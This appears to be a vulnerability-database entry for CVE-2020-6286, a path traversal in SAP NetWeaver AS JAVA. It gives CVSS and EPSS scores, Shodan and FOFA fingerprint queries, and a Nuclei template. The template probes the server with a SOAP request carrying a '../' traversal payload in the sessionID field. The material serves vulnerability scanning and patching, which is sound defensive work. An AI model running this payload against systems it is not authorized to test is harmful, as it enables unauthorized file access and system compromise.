SecurityContext

CVE-2020-6286: SAP NetWeaver AS JAVA - Path Traversal

Classification

  • Cwe: CWE-22
  • Cvss score: 5.3
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • Epss score: 0.3055
  • Epss percentile: 0.98282
  • Not known: cpe

Metadata

  • Fofa-query: icon_hash="-266008933"
  • Max-request: 2
  • Product: netweaver_application_server_java
  • Shodan-query: http.favicon.hash:-266008933
  • Vendor: sap
  • Verified: yes

Products

ProductIndexedUrl
sap:netweaver_application_server_javayes/v1/products/sap/netweaver_application_server_java

Labels

  • Name: SAP NetWeaver AS JAVA - Path Traversal
  • Impact: Attackers can download arbitrary zip files to sensitive directories, potentially leading to information disclosure or system compromise.
  • Remediation: Update to the latest version of SAP NetWeaver AS JAVA or apply security patches addressing input validation.
  • Vulnerability type: path_traversal
  • Vulnerability impact: file_system_read, information_disclosure
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2020-6286
  • Not known: requirements

```yaml

id: CVE-2020-6286

info:

name: SAP NetWeaver AS JAVA - Path Traversal

author: 0x_Akoko

severity: medium

description: |

SAP NetWeaver AS JAVA (LM Configuration Wizard) versions 7.30, 7.31, 7.40, 7.50 contain a path traversal caused by insufficient input path validation in a web service parameter, letting unauthenticated attackers download zip files to arbitrary directories, exploit requires no authentication.

impact: |

Attackers can download arbitrary zip files to sensitive directories, potentially leading to information disclosure or system compromise.

remediation: |

Update to the latest version of SAP NetWeaver AS JAVA or apply security patches addressing input validation.

reference:

- https://github.com/chipik/SAP_RECON

- https://github.com/murataydemir/CVE-2020-6286

- https://launchpad.support.sap.com/#/notes/2934135

- https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=552599675

- https://nvd.nist.gov/vuln/detail/CVE-2020-6286

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

cvss-score: 5.3

cve-id: CVE-2020-6286

epss-score: 0.3055

epss-percentile: 0.98282

cwe-id: CWE-22

metadata:

verified: true

max-request: 2

vendor: sap

product: netweaver_application_server_java

shodan-query: http.favicon.hash:-266008933

fofa-query: icon_hash="-266008933"

tags: cve,cve2020,sap,netweaver,lfi,traversal,unauth,vkev

flow: http(1) && http(2)

http:

- raw:

- |

GET / HTTP/1.1

Host: {{Hostname}}

matchers:

- type: dsl

dsl:

- 'contains(header, "SAP NetWeaver Application Server")'

internal: true

- raw:

- |

POST /CTCWebService/CTCWebServiceBean HTTP/1.1

Host: {{Hostname}}

Content-Type: text/xml;charset=UTF-8

SOAPAction:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">

<soapenv:Header/>

<soapenv:Body>

<urn:queryProtocol>

<sessionID>/../../../../../../../../../../../../../../../../../..{{rand_base(8)}}</sessionID>

</urn:queryProtocol>

</soapenv:Body>

</soapenv:Envelope>

matchers:

- type: dsl

dsl:

- 'status_code == 500'

- 'contains_all(body, "CTCWebServiceBean.queryProtocol", "fileInputStreams", "FileInputStream.close")'

- 'contains(body, "tc~lm~ctc")'

condition: and

digest: 4a0a004730450220621cd57d1fcd855009acc41ca68bcbedfd6f2ef6670a7876ab63f35796f4affd022100ef18a093b0d2f50d287a5456f62279ab2eddc4d3eae0f57914feacb0da82dac4:922c64590222798bb761d5b6d8e72950

```